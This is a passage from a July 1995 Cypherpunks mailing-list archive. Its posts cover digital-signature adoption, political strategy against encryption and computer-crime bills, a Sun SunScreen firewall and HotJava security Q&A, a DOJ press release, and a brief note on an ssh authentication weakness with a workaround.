	anything.  Optimally, signatures would be part of the header of the 
	message, and not even seen by users. It's not 100% safe, especially
	on a multi-user system, but it's a helluva start. 

	Third, automated checking, via news readers or mail readers needs
	to be implemented.  All it needs to do is when a message arrives,
	it first greps the users personal keyring.  If the matching
	signature isn't found, it checks the system keyring.  If not
	found, it uses a similar protocol as above to check the Global
	Keyring (using an encrypted session).  If the signature is found to
	be authentic, it marks it as such, if not, it warns the user and
	it is unreliable data.  This optimly would take place prior to
	delivery by the mail transfer agent or news transfer agent of the
	receiving computer. 

No matter what, digital signatures need to be pushed as being unrelated 
to cryptography.  While they are similar, their are political problems 
with encryption, but not really with signatures.  If we make a hearty 
push towards authenticated communications, encryption falls right in line 
as a (oh, by the way, we can also...)

3)	NEAR TRANSPARENT ENCRYPTION

In the end, the goal is that encryption becomes simple enough and 
unintrusive enough that everybody will use it.  Once again, however, we 
need public key servers that can dole out keys on request.  Furthermore, 
encryption needs to be as simple as clicking on a button when you mail 
it, with the mail program or transfer agent doing the appropriate 
scrambling based on the addressee.  It needs to be able to get keys from 
servers in the background and decrypt without any more manual interaction 
than typing in a passphrase.  It is also my belief that digital 
signatures and encryption SHOULD NOT utilize the same key in a fully 
automated system, or have different passphrases within the same key.

4)	AND IT'S ALL GOTTA SIMPLE
Finally, I need to reiterate this.  Whatever is implemented has to be 
ungodly simple to use.  Users shouldn't have to think about this stuff.  
Administrators shouldn't have to deal with user requests about this stuff 
(just install the programs and go to it).  It's all gotta be free, AND 
internationally legal.  If we fail any of these tests, we can't win.

5)	JOIN THE EFF
Well, I just thought I'd throw this in, it can't hurt :-)

- ----------------------

Anyway, that's what I see as needing to be done.  All of this ISN'T just
about writing code, however.  All of us, myself included, need to start
electronically signing everything we send, especially to mailing lists and
as much as you can to usenet.  If anything, it's gets the word out as a
USEFUL implementation of this technology (verification of message).  We
need to not be afraid to send a letter to our elected officals warning
them about what the laws they are passing are going to do.  That's the
easy part.  The hard part is staying at it long enough to win the war. 

[as a side note, does anybody have a script or program that will 
auto-sign a message?  I'm usuing mkpgp for pine right now as an alternate 
editor, but that does more than I need (encryption and such.]



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAXEAjokqlyVGmCFAQH5aAP+Lbw37+//V6Blm29DCLbzkHgZ2u2pOU1c
mzqpBBwfA2cggdYPZj6a/wJAmWr06aMiCV02MFJF90NW3BdwVDogCrc67+iHY5UM
fc3AVXzFvM39KG6Ruizo3Wf6tXSpWUxvrgCiWODR4SiwyvpEvFbSJ+IsawUSLpfe
BZKAFv8bi50=
=zmoa
-----END PGP SIGNATURE-----


____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From merriman at arn.net  Thu Jul 13 18:44:26 1995
From: merriman at arn.net (David K. Merriman)
Date: Thu, 13 Jul 95 18:44:26 PDT
Subject: Root Causes
Message-ID: <199507140151.UAA01504@arnet.arn.net>


-----BEGIN PGP SIGNED MESSAGE-----

While I respect the ideas and opinions submitted by the majority of the
members of this list, I wonder if perhaps we're failing to deal with the
_root_ problem of such things as the CDA, Clipper, DTA, etc.

Specifically, I wonder if it wouldn't be a better approach to *prevent* such
measures from ever being proposed in the first place.

(pause to adjust nomex undies and titanium body armor :-)

Is there any precedence or possibility of either filing civil or criminal
charges against a Government official for their _official_ actions?
Something that will not only make for some Serious Press, but hit them from
an unexpected angle?

(close hatch on bunker :-)

It would seem that things such as the CDA, etc, are patent violations of the
Bill of Rights. As such, wouldn't the Congressrodent(s) proposing such
measures be violating our civil rights, and thus be criminally liable?
Aren't Congressrodents supposed to take an Oath of Office that involves
upholding the Constitution?

Alternatively, could a civil suit be filed for invasion of privacy or
somesuch? Or perhaps the previously mentioned violation of civil rights (a
la Rodney King)?

How many laws, etc, can we invoke? I mean, most congresscritters don't craft
laws on their own, so the involvement of their staff would constitute
conspiracy, as well, wouldn't it?

I'd think that if a few of the <insert favorite expletive here> were sued
and/or tried, it would sure make the rest of them consider the full
implications of any laws they might consider proposing. Too, it might
accidentally ripple through all of the Government, and settle down some of
the beaurocrats that aren't subject to voters.

IANAL, of course, so I'll leave it up to those on the list who are to
express more informed opinions; still, it _seems_ like a possible course of
action.....

Dave Merriman

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAWqT8VrTvyYOzAZAQFPiwQAluzkD3H+AcUFr7qNhf84I7Y3FNB27Lxc
jQQ5UQnYgvQpHhlExJGmxDjebbOgbOik5Xu2KoQYbdutc/LBWHN6OzfLWim9jWwq
C1nKEnDUo1jKQ+LcsV0/TGrwKPUYVnOhswZPydn50xnKF3KuW17RnXFeYJi+DTdZ
D3YtxRa2shc=
=JiVo
-----END PGP SIGNATURE-----
This is a test (3 UUE lines) of the unconstitutional ITAR - 1/713th
of the PGP executable. See below for getting YOUR chunk! 
------------------ PGP.ZIP Part [015/713] -------------------
M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/







From gnu at toad.com  Thu Jul 13 18:47:40 1995
From: gnu at toad.com (John Gilmore)
Date: Thu, 13 Jul 95 18:47:40 PDT
Subject: SunFlash 79.05: SunScreen and Java Questions & Answers
Message-ID: <9507140147.AA13138@toad.com>


[Note the export related stuff, and the 40-bit RC2 & RC4.  But also note
"An International version will be available early in 1996".    --gnu]

==============================================================================
SunFlash 79.05

                 SunScreen and Java Questions & Answers

July  1995         John J. McLaughlin, Editor/Publisher    flash at flashback.com
==============================================================================

     SunScreen is a Product Line comprised of enabling products/solutions
     for doing business transactions on the Internet and other public
     networks. The first product offering in the SunScreen Product Line is
     the SPF-100, a completely new network security device. SPF-100 is a
     dedicated, turnkey solution designed to be network undetectable.
     Shipped pre-configured, SPF- 100 is based on state-of-the-art packet
     screening integrated with encryption to provide private and
     authenticated communications on public networks.

     Several questions about the Java language and the HotJava browser are
     also addressed.

-------------------------------------------------------------------------------

The SunScreen sits on network boundaries, either between two LAN's or
between a LAN and a WAN. It can be used to achieve compartmentalization
within internal networks or to use the Internet or other public
networks as a virtual, secure, private network (VSPN).

The SPF-100 is being targeted towards enterprise customers who require
the highest levels of network security and guaranteed privacy. The
market segments who have expressed the most interest in the SunScreen
SPF-100 include Telecommunications, Finance, Health Care and the
Government.

Due to restrictions imposed on the export of encryption products, the
SunScreen SPF-100 will initially be released only in the U.S.A.. and
Canada. An International version of the product is scheduled for early
1996.

What does SunScreen look like?

The SunScreen consists of two physical components: SPF-100, the
security gateway product is based on a headless SPARC-based system
running an embedded OS and shipped standard with five ethernet ports
(one on-board and four through a Quad Ethernet Card). Four of the ports
are used for screening packets and have no IP address. Since the
embedded OS does not include any user programs, network services, etc.,
it cannot be logged into, nor can any applications be run on it.

The SPF-100 is managed by the SunScreen Administration Station, an
Intel 486-based system running MS-DOS and Windows 3.1. Multiple
SPF-100's may be remotely managed by a single SunScreen Administration
Station, or a single SPF-100 can be managed by multiple SunScreen
Administration Stations. The SPF-100 uses the fifth ethernet port to
establish an encrypted connection to the SunScreen Administration
Station. The SunScreen Administration Station is the only device that
can be used for monitoring, configuring and managing the SPF-100.

A SunScreen is set up to be the point of contact between two
administrative domains such as a private and a public network. Two or
more of the Quad Ethernet ports can be used to bridge the private and
public sides. The on- board Lance Ethernet interface links the SPF-100
to the SunScreen Administration Station through an authenticated and
encrypted connection.

Functionally, the SPF-100 includes an IP level packet screen and a
facility to encrypt and decrypt data transmissions. The SPF-100 packet
screen software runs as an integral part of the SunScreen operating
environment. It tracks the state of session oriented packet
transactions (e.g. TCP) as well as sessionless packet transactions
(e.g., UDP). Maintaining state allows the SunScreen to provide
additional protection from connection stealing.

Effectively, the SPF-100 is invisible to any network entity other than
certified Administration Stations. Interfaces that participate in the
packet screening activity have no IP address and do not respond to any
network probing; they simply pass packets on to the screen.

Using the SunScreen Administrative GUI, an administrator can specify
packet screening rules, specify encryption/decryption criteria,
configure and implement a security policy and monitor the SPF-100
actions on incident network traffic. All transactions between
associated Administrative Stations and SPF-100's are encrypted, adding
security to administrative activity.

What is a packet screen? How is a SunScreen packet screen set up?

A packet screen is a software filter that is imposed on a network data
packet as it passes from a public network to a private network. A
packet screen acts on a data packet according to a set of rules.
Generally speaking, rules are used to discriminate certain packets and
to initiate certain actions on those packets.

SunScreen packet screens are specified by an administrator at the
Administration Station. A packet screen rule is defined by the contents
of three discriminator fields and two actor fields. Two of the
discriminator fields are the packet source and destination address.
These may be addresses of networks, subnets, hosts, or groups of hosts.
The third discriminator field identifies the packet's Internet service
type, e.g. telnet or ftp. This really equates to a socket port number,
so privately defined services can be discriminated as well. SunScreen
also does port coloring to ensure that the source address is consistent
with the ethernet interface.

The two actor fields determine what action is taken if the
discriminating conditions select an incoming packet. One actor simply
determines if the packet passes or fails. The other determines what
explicit action the packet triggers.

An example of a rule would be to discriminate any packet originating at
IP address 192.9.185.28, heading for IP address 129.146.10.14, and
using the telnet service. Any packet that meets these criteria is
allowed to pass through the screen but it is logged as an event.

In SunScreen, the default screening rule is to fail any packet that is
not explicitly allowed to pass.

What encryption alternatives are available in SunScreen?

SunScreen uses a combination of shared key and public key encryption to
provide data privacy and authentication. Privacy means that only the
intended recipient will be able to decipher the message; authentication
means that there is a high level of confidence that the identity of the
message originator is valid and that the message has not been modified
in transmission.

The following encryption software is available on SunScreen: shared
key: 40-bit RC2 and RC4, 56-bit DES public key: 1024-bit RSA, 1024-bit
Diffie-Hellman

Shared key encryption and public key encryption both have advantages
and disadvantages. Shared key encryption is desirable because it
ensures confidence in privacy and yet is moderate in its demands for
processing power during data transformation. It is flawed because both
sender and recipient need access to the same key; having to distribute
a key compromises its secrecy.

In public key encryption, two keys are used - a private key and a
public key.  The two keys are generated in the same operation. One key
can be thought of as the inverse of the other, though there is no
obvious relationship between the two. Any data stream that is encrypted
using one key can be decrypted by the other, but only by the other. The
owner of the private key can distribute the public key at will, but
need never (and should never) distribute the private key. Therefore,
public key encryption solves the twin problems of privacy and
authentication.

Consider the case of a holder of a public key encrypting a message to
be sent to the owner of its private pair. This is a private
transmission because nobody but the private key owner can decrypt the
message. Now consider the case of the of the owner of the private key
sending an encrypted message to a public key pair holder. If this
message decrypts successfully, then it must have come from the private
key owner. It is authenticated. A minor disadvantage to public key
encryption is that each originator needs his own private key and
multiple public keys in order to exchange private messages. A major
disadvantage is that public key cryptography demands a lot of
processing power during data transformations.

SunScreen combines these methods to assure private and authenticated
message transmission across public networks at reasonable performance.

Why was a PC chosen as the Administration Station platform?

>From a marketing perspective, since SunScreen is targeted towards all
customers, not just current Sun customers, it was felt that "a black
box controlled by a PC running Windows" would be easier to explain and
sell and would not require a detailed discussion of UNIX. Additionally,
since the Administration Station is required to be a dedicated system,
it was felt that customers would be more receptive to a lower cost
machine such as a PC, being a dedicated, single-purpose- only system.
Finally, ICG will be offering an end-user solution and due to its
popularity considered the PC a good end-user prototype. A SPARC-based
desktop Administration Station is under consideration

What is Sun ICG?

ICG is the Internet Commerce Group, a Sun business whose charter is to
produce enabling technologies and solutions for doing business over the
Internet and other public networks. ICG will be developing the
SunScreen Product Line, and its first product offering is the SPF-100

What is packet tunneling?

Packet tunneling refers to the capability of encapsulating one packet
in another packet. Together with encryption, tunneling provides data
privacy as well as network topology hiding. Network packets traveling
between two private networks are encrypted and encapsulated in a
wrapper packet at the exit point of one network and unwrapped and
decrypted at the entry point of the other and then passed along to
their destination host.

What is packet vectoring?

Packet vectoring is a capability which enables a packet to be "copied"
and diverted to other areas in addition to its intended route, for
further processing. Packet vectoring enables distributed processing of
packet streams for billing, metering, auditing and intrusion detection
purposes. SunScreen includes the capability to do packet vectoring but
currently does not have an application which would enable it to be used
by customers.

What is SKIP?

SKIP, an acronym for Simple Key Management Internet Protocol, provides
a simple means of secure communications between two SunScreens across
the Internet. SKIP was invented by Ashar Aziz of Sun Microsystems, Inc.
and is currently being considered by the Internet Engineering Task
Force (IETF) as an Internet service standard. It is a sessionless
service that acts as the entry and exit point for secure communications
between two private networks.

When invoked as a service, SKIP encrypts a client packet stream as
described above. Using packet tunneling, client source and destination
encrypted, hiding private network topologies from the public. This
encrypted packet stream is then forwarded to the destination network,
where it is decrypted by another SunScreen supporting the SKIP service.
Once inside the destination private network, the packet stream
continues on its way to the destination host.  Details on the SKIP
specification can be found at http://skip.incog.com/

Does SunScreen support application relays?

SunScreen does not support application relays. There is no way to load
applications on the SPF-100 embedded operating system. However
SunScreen application relays are legitimate, useful adjuncts to a
secure network. They can easily be integrated into a network access
barrier created by a SunScreen.  One or more of the Quad Ethernet
interfaces on the SunScreen can be dedicated to a network supporting
systems with application relays. Using the SunScreen packet filtering
feature, packets appropriate for an application relay would be directed
to the host running that application relay, returned to the SunScreen,
and passed on (or failed) to their destination.

What products compete with SunScreen?

SunScreen is a high-end network security solution. It is unique not
only due to its stealth design and integrated encryption technology,
but also because it includes services which makes it a truly complete
security solution. Other security products on the market today are
either implemented only in software, lack encryption capabilities or
are run layered on top of existing, multi purpose operating systems.
Currently popular security products include Eagle/Raptor, TIS Gauntlet,
CheckPoint FireWall-1, DEC SEAL, ANS Interlock and Livingston
Enterprises Firewall IRX.

Who are likely customers for SunScreen ?

SunScreen is targeted at commercial, enterprise, highly networked
customers.  Commercial enterprises which are critically dependent on
networks for their business functioning are the primary candidates for
this product. Such customer include telecommunications companies,
financial institutions, health care organizations and the Government

How does SunScreen differ from FireWall-1 ?

SunScreen can be regarded as a functional superset of FireWall-1 . It
is a highly sophisticated network security solution targeted at
complex, commercial networks. FireWall-1 restricts its operation to
packet screening. SunScreen provides support for message
encryption/decryption. In addition, SunScreen is invisible from the
network, rendering it more difficult to detect and invade; SunScreen
SPF-100 can only interface to a qualified Administration Station using
an encrypted link, making it very difficult to probe or to modify the
operating environment. SunScreen provides a higher level of security at
a higher price. Users need to evaluate their security needs. FireWall-1
may provide adequate security for the basic security needs of
corporation.

What restriction does the US Government impose on using cryptographic
methods available with SunScreen?

All modes of encryption included with SunScreen are permitted for all
transactions within the U.S.A.. and Canada. Shipping encryption
products including DES, 1024 bit Diffie-Hellman, and 1024 bit RSA
outside the U.S.A..  and Canada requires an export license. An export
license for the use of an encryption product by a foreign based entity
controlled by a U.S.A.. company, has a strong prospect for approval

What special security issues does interaction with the WWW present?

Communication with the WWW and other Internet services such as Archie
and Gopher present no special problem for SunScreen security. Packet
screens can easily be configured to regulate traffic from/to these
services using standard Administration Station tools.

Is there any kind of security certification for this class of product?

Typically, security classification such as B1 , C2 , etc. issued by the
NSA, entails certification of a complete operation environment,
including hardware, OS, applications, etc. Sun has designed the product
to be independent of a multi purpose operating system. The embedded OS
included in the SPF-100, has been stripped off all network services,
user programs, etc. and can be used only for executing the SunScreen
software. However, with the recognition that some sort of security
classification will be required for SunScreen, Sun is working with the
proper authorities to define appropriate classifications for this new
class of security.

------------------------------------------------------------------------------

HotJava Security Answers

First some bulk information on Java security, there are three concepts
here and you have to keep them separate: Safety, Security, and Trust.
They apply to both the language itself (Java) and the browser written
in the language (HotJava).

Java - Security Within The Language:

Safety:

The Java language is safe because the language has no intrinsic
semantics for modifying the trusted computing base. In simple terms
this means that there is no way for pure Java code to modify its own
stack, write on memory it hasn't allocated, or execute methods (invoke
functions) it wasn't explicitly given access too. The mechanisms used
to create this safety are the language design (no semantics), the
virtual machine design (sufficient semantic information is retained in
a 'binary' to verify that the language imposed limits are not
violated), and un-forgeable pointers (no casting). Further memory
reclamation is done by a garbage collector which eliminates hanging
pointer problems. Array indexing and pointer casting is checked at
runtime for validity.

Security:

The Java language is secure because, as an object oriented language the
only way to do anything is to invoke a method on a class, and the only
way to instantiate a class is with the 'new' operator. This operator is
tied into a system class of type ClassLoader which enforces arbitrary
security policies on classes that it loads. Class loaders are thus the
arbiters of the capabilities granted a class they have instantiated.

Trust:

The Java language will supply a class loader capable of verifying a
digital signature on a class prior to loading that class. This allows
different capabilities to be assigned to classes of differing origin.
Further, classes will be able to query the class loader for this
information and thus be able determine if they are being called by a
trusted class. (this is required to export cryptography in the Java
runtime, the crypto classes have to know who is calling them so as to
enforce US mandated restrictions on their operation.)

HotJava - Security Within The Browser:

Safety:

Safety in the HotJava browser revolves around primarily the control of
applets.  Applets are loaded using an anal class loader called the
NetClassLoader. This class loader can control access to system
services. Further the implementation of certain classes (such as File)
recognize when they are being invoked from a class that was loaded from
the network class loader and they enforce additional restrictions. For
example, applets can only open files in two directories on UNIX
systems: /tmp/hotjava and ~/.hotjava (this can be modified with the
READPATH and WRITEPATH environment var's) Further when files are
accessed in these directories a confirmation is raised in the form of a
dialog with the user. There is no way for an applet to get around this
restriction. To open a file it _has_ to use the File class, the network
class loader won't allow it to load a new version of the File class,
and the file class has to have some bound in C code to do its work and
the applet can't bring over its own native code.  Its stuck.

Security:

The browser keeps track of what the applets are doing. Under some
conditions it modifies the capabilities available to an applet after
certain events. For example, the network class loader keeps track of
whether or not the applet came from "within" the firewall (direct
access to host) or "outside" the firewall (through the firewall). It
also keeps track of any files or sockets the applet opens. If the
applet opens any socket or file that is bound "inside" the firewall
(any file, and host inside the firewall) it is prevented from ever
opening a connection to a host "outside" the firewall.

Trust:

The browser is "trusted" code, and the source is available to assist in
developing trust of the code. Further it will be possible to sign all
valid browser classes (package browser.*) with a browser key,
preventing from any subversion of the browser after it has reached
trusted status. (I envision it working something like: Certify the
browser through inspection or what ever, build the classes, sign the
classes, invoke the browser with the public key of the signature.
Destroy the secret key.)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Press announcements and other information about Sun Microsystems are
available on the Internet via the World Wide Web. URL http://www.sun.com

SunFlash - A Full-Text On Demand Newsletter for Users of Sun Computers

John J. McLaughlin - Publisher & Editor   - flash at FlashBack.COM 
Tim Wells          - Associate Editor     - tim at FlashBack.COM 
Mark Wood	   - Distribution Manager - flashadm at FlashBack.COM

Subscriptions to       majordomo at FlashBack.COM 
Article Requests to    flashback at FlashBack.COM 
Article Submissions to flash at FlashBack.COM 

For more information send email to flashback at FlashBack.COM with article
names or numbers in the Subject line:
	9001       - general introduction 
	index      - for an index of the most recent 150 articles
	fullindex  - for an index of 800+ articles
	popular    - for a summary of the popular article for each month
	73.00 1176 - For the January  1995 Table of Contents 
	74.00	   - For the February 1995 Table of Contents
	75.00 1221 - For the March    1995 Table of Contents
	76.00 1262 - For the April    1995 Table of Contents
	77.00 1286 - For the May      1995 Table of Contents
	78.00 1344 - For the June     1995 Table of Contents
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++





From jya at pipeline.com  Thu Jul 13 18:48:18 1995
From: jya at pipeline.com (John Young)
Date: Thu, 13 Jul 95 18:48:18 PDT
Subject: DOJ Press Release, S. 974?
Message-ID: <199507140148.VAA07551@pipe4.nyc.pipeline.com>


   It is not obvious that this refers to S. 974 but seems
   to be the press release John Noble cites on Cyberia-L.
   Did anyone see news reports on this?

   
   URL: gopher://justice2.usdoj.gov/00/press/previous/
   June95/370.txt


   For Immediate Release                                     
   AG
   Thursday, June 29, 1995
   (202) 616-2777
   TDD (202) 514-1888


                Administration, Congress Introduce
                  New Computer Crime Legislation

   Washington, D.C. -- Attorney General Janet Reno today
   announced that the Clinton Administration, along with
   Senators John Kyl, Patrick Leahy, and Charles Grassley has
   introduced legislation dramatically increasing federal
   protections of data confidentiality.  Current law protects
   the confidentiality of financial information.  Today's
   legislation would protect all government data against
   access without permission, as well as criminalizing access
   by government employees who exceed their authority to gain
   access to government data.

   "As technology advances, computer crime has grown," said
   Reno. "We have to ensure that the law keeps up with
   changing times."

   With the phenomenal growth of legitimate computer use has
   come a similar growth in computer crime and the problem of
   "hackers" who break into computer networks without
   authority to steal information or damage computer systems. 
   In addition to penetrating telephone networks to disrupt
   phone service and wiretap calls, many hackers attack
   government and private computers to steal valuable
   information.

   According to the Computer Emergency Response Team at
   Carnegie Mellon University, during the past four years, the
   number of reported intrusions on the Internet has increased
   498 percent, and the number of computer sites affected has
   increased 702 percent.

   "Computer crime is fast becoming everyone's problem," said
   Reno. "I'm encouraged that this bill is off to a bipartisan
   start, and I hope Congress will move quickly to enact it."

   The new Act provides three new tools to address this
   problem:

   +  More computers would be protected by federal law.  Under
      the new law, a "protected computer" would be defined as
      any government computer, financial institution computer,
      or any other computer used in interstate or foreign
      commerce or communications.  Under current law,
      computers are not adequately protected from foreign
      hackers, and no federal jurisdiction can be obtained
      when the hacker's and the victim's computers are located
      in the same state.

   +  Under the new law, all government data would be
      protected, and the federal government could prosecute
      individuals who access government data for their own
      use.  Additionally, private data would be protected when
      hackers steal information from computers located across
      state or national borders. Currently, only financial
      data and classified information are strictly protected
      from improper access.

   +  The integrity and availability of data would be better
      protected under the new law because it ensures that all
      hackers are punished adequately.  Current law provides
      penalties for intentional damage, but hackers who
      recklessly or accidently damage information or systems
      face little or no penalties.

                                ###

   95-370

[End press release]








From fstuart at vetmed.auburn.edu  Thu Jul 13 18:56:00 1995
From: fstuart at vetmed.auburn.edu (Frank Stuart)
Date: Thu, 13 Jul 95 18:56:00 PDT
Subject: co-sponsors S.974
Message-ID: <199507140155.UAA00007@snoopy.vetmed.auburn.edu>


>I searched Thomas and couldn't find any evidence of 
>co-sponsors to the  Senate bill. Am I wrong here?
[...]
>Anyone got better info on yes/no sponsors or seen the DOJ press
>release?

There are 2 bills.  Senator Grassley's repressive Anti-Electronic Racketeering
Act of 1995 (S.974) has no co-sponsors.  

Senators Leahy, Kyle, and Grassley co-sponsored the National Information
Infrastructure Protection Act of 1995 (S.982).  I haven't seen any analysis
of it, but I did a quick read of it and didn't see anything alarming.


                          | Putt's Law:
Frank Stuart              | Technology is dominated by two types of people:
fstuart at vetmed.auburn.edu | Those who understand what they do not manage.
stuarfc at mail.auburn.edu   | Those who manage what they do not understand.




From perry at imsi.com  Thu Jul 13 18:57:03 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 18:57:03 PDT
Subject: Fight, or Roll Over?
In-Reply-To: <Pine.ULT.3.91.950713170704.14454B-100000@krypton.mankato.msus.edu>
Message-ID: <9507140155.AA13373@snark.imsi.com>



"Robert A. Hayden" writes:
> On Thu, 13 Jul 1995, Douglas Barnes wrote:
> 
> > Since the Anti-Electronic Racketeering Act of 1995 might as well
> > be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
> > Tim throw in the towel already, when the bill hasn't even made it
> > through committee yet.
> 
> I don't think Tim threw in the towell on this bill, but has come to 
> realize that the overall war on privacy cannot be won by concentrating on 
> the individual battles.

Thats true. However, I think that one strategic move would be to get a
PR firm involved that is capable of severly embarassing any politico
who puts his name any of these proposals. After two or three of those
they start getting gunshy.

Folks, this isn't trivial. It isn't an easy thing to do by any
means. However, it is far from impossible.

> We've ALL got to take a deep breath and come up with a different
> plan of attack; a plan that the TLAs and spooks will be unable to
> defend against.

There is no such plan. They can't control the technology in the long
run but they can throw us all in jail in the short run. I have
substantial personal interest in keeping this stuff legal, and I don't
give a flying fig *who* sponsors legislation.

Do you think the agricultural industry lies down every time that
congress proposes to cut subsidies? Do you think that the gun lobby
lies down and plays dead? They get a bad bill proposed virtually every
week. Do you think the health care industry would have been correct to
say "oh, Hillary has us bushwacked -- this is a major
initiative. Guess we'd better give up."

Anyone who is saying that it is impossible to fight the legislative
battles hasn't been thinking. It takes millions of dollars,  but there
is a lot of money out there to be had in my opinion.

Perry





From hayden at krypton.mankato.msus.edu  Thu Jul 13 19:00:08 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 19:00:08 PDT
Subject: Fight, or Roll Over?
In-Reply-To: <9507140155.AA13373@snark.imsi.com>
Message-ID: <Pine.ULT.3.91.950713205857.19725A-100000@krypton.mankato.msus.edu>


On Thu, 13 Jul 1995, Perry E. Metzger wrote:

> Anyone who is saying that it is impossible to fight the legislative
> battles hasn't been thinking. It takes millions of dollars,  but there
> is a lot of money out there to be had in my opinion.

Nobody's saying it's impossible, what we're saying is that we don't have 
the resources to DO that on the scale that is needed.  Maybe Microsoft 
does, but we don't.  What we can do, however, is to shape the culture of 
the net.  That culture will have to eventually be listened to by DC.

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From perry at imsi.com  Thu Jul 13 19:04:34 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 19:04:34 PDT
Subject: Ssh security hole?
In-Reply-To: <199507132303.CAA18383@shadows.cs.hut.fi>
Message-ID: <9507140202.AA13400@snark.imsi.com>



Tatu Ylonen writes:
> (I'll forward your message to a couple of lists where it might be
> of interest; the original message is at end.)
> 
> I think you are right in your analysis.  There is indeed a problem
> with RSA authentication.  Basically what this means is that if you log
> into a corrupt host, that host can at the same time log into another
> host with your account (by fooling you to answer to the request)
> provided that you use the same RSA identity for both hosts.
> 
> A workaround is to use a different identity for each host you use.
> The default identity can be specified on a per-host basis in the
> configuration file, or by -i options.

Might I suggest that a better solution would be to adapt the station
to station protocol, or, even better, Photuris...

.pm





From hayden at krypton.mankato.msus.edu  Thu Jul 13 19:15:35 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 19:15:35 PDT
Subject: Root Causes
In-Reply-To: <199507140151.UAA01504@arnet.arn.net>
Message-ID: <Pine.ULT.3.91.950713211304.19919A-100000@krypton.mankato.msus.edu>


If I understand, you can't sue the governemtn for just trying to pass a 
law, or for even passing it.  What has to happen is that somebody needs 
to be arrested and charged with breaking the law before you can challenge 
them.

Although publishing an "Enemies of the Constitution" list all over the 
net, listing which congress-critters opposed the constitution (suck as 
Exon) might be interesting.  Might even make a good web project.  *ponders*

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From perry at imsi.com  Thu Jul 13 19:24:19 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 19:24:19 PDT
Subject: Fight, or Roll Over?
In-Reply-To: <ac2af3ed010210041c19@[205.199.118.202]>
Message-ID: <9507140224.AA13439@snark.imsi.com>



Someone says:
> By causing us to go into paroxysms of activity every time they throw a new
> piece of legislation over the transom, we dissipate our efforts in more
> promising areas.

Er, heh?

1) 95% of the people on this list write no code and participate in no
   design activities, so they have no efforts to dissipate.
2) If there was a lobbying effort, the most participation anyone in
   the "we" above would end up doing is throwing cash at some
   Washington firm. I doubt that anyone would be involved directly, so
   how does this "disspiapate our efforts"?
3) What you mean "we", kimosabe?

.pm





From shamrock at netcom.com  Thu Jul 13 19:27:17 1995
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 13 Jul 95 19:27:17 PDT
Subject: Root Causes
Message-ID: <199507140224.WAA05123@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

In article <199507140151.UAA01504 at arnet.arn.net>, merriman at arn.net (David
K. Merriman) wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>While I respect the ideas and opinions submitted by the majority of the
>members of this list, I wonder if perhaps we're failing to deal with the
>_root_ problem of such things as the CDA, Clipper, DTA, etc.
>
>Specifically, I wonder if it wouldn't be a better approach to *prevent* such
>measures from ever being proposed in the first place.

Short of a 50 kilo ton bomb on Washington, I don't see any way that could
be accomplished.
<No, I don't advocate nuking DC.>

>Is there any precedence or possibility of either filing civil or criminal
>charges against a Government official for their _official_ actions?
>Something that will not only make for some Serious Press, but hit them from
>an unexpected angle?

You can't sue the government without its prior consent. Government
officials are also usually immune from being sued over their official
actions.

>It would seem that things such as the CDA, etc, are patent violations of the
>Bill of Rights. As such, wouldn't the Congressrodent(s) proposing such
>measures be violating our civil rights, and thus be criminally liable?
>Aren't Congressrodents supposed to take an Oath of Office that involves
>upholding the Constitution?

The oath is not ment to be kept. It's sole purpose is to provide a photo
op for the incomming congresscritters.

- -- 
- -- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAXVPioZzwIn1bdtAQFp5gF/WnEoNO15G11gXi9G/BmtFzu/toHZPBmj
ldONnU+mbB5c9LIGeJH3usQZLdT/D4Sw
=NpN9
-----END PGP SIGNATURE-----





From lmccarth at cs.umass.edu  Thu Jul 13 19:27:31 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 19:27:31 PDT
Subject: co-sponsors S.974
In-Reply-To: <199507140100.VAA00681@pipe4.nyc.pipeline.com>
Message-ID: <9507140227.AA13589@cs.umass.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Shari Steele writes, re: S.974, the Anti-Electronic Racketeering Act 
[via gnu, on the cypherpunks list]:
# Fortunately, the bill does not have a very promising
# future.  The bill has  no co-sponsors.  

James R. Coleman (or John Noble ?  screwed up attributions) writes
[via jya, on cyberia-l]:
